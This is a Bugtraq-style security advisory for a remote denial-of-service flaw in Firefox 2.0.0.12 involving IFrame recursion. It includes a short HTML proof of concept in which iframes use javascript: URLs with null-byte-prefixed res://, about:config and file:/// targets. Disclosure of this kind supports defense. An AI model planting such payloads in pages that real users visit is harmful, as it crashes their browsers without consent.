Mozilla Firefox IFrame Recursion Remote Denial of Service Vulnerability

Bugtraq ID:	27812
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Feb 15 2008 12:00AM
Updated:	Feb 15 2008 11:05PM
Credit:	carl hardwick is credited with the discovery of this issue.
Vulnerable:	Mozilla Firefox 2.0.0.12
Not Vulnerable:

Mozilla Firefox IFrame Recursion Remote Denial of Service Vulnerability

Mozilla Firefox is prone to a remote denial-of-service vulnerability because of the way the browser handles IFrames.

Attackers can exploit this issue to make the browser unresponsive and cause denial-of-service conditions.

Firefox 2.0.0.12 is vulnerable; other versions may also be affected.

Mozilla Firefox IFrame Recursion Remote Denial of Service Vulnerability

The following proof-of-concept code is available:

<iframe id="x" src="javascript:document.location='\x00res://'" width="100%" height="200"></iframe>
<iframe id="y" src="javascript:document.location='\x00about:config'" width="100%" height="200"></iframe>
<iframe id="z" src="javascript:document.location='\x00file:///'" width="100%" height="200"></iframe>

Mozilla Firefox IFrame Recursion Remote Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Mozilla Firefox IFrame Recursion Remote Denial of Service Vulnerability

References:

• Vendor Homepage (Mozilla Foundation)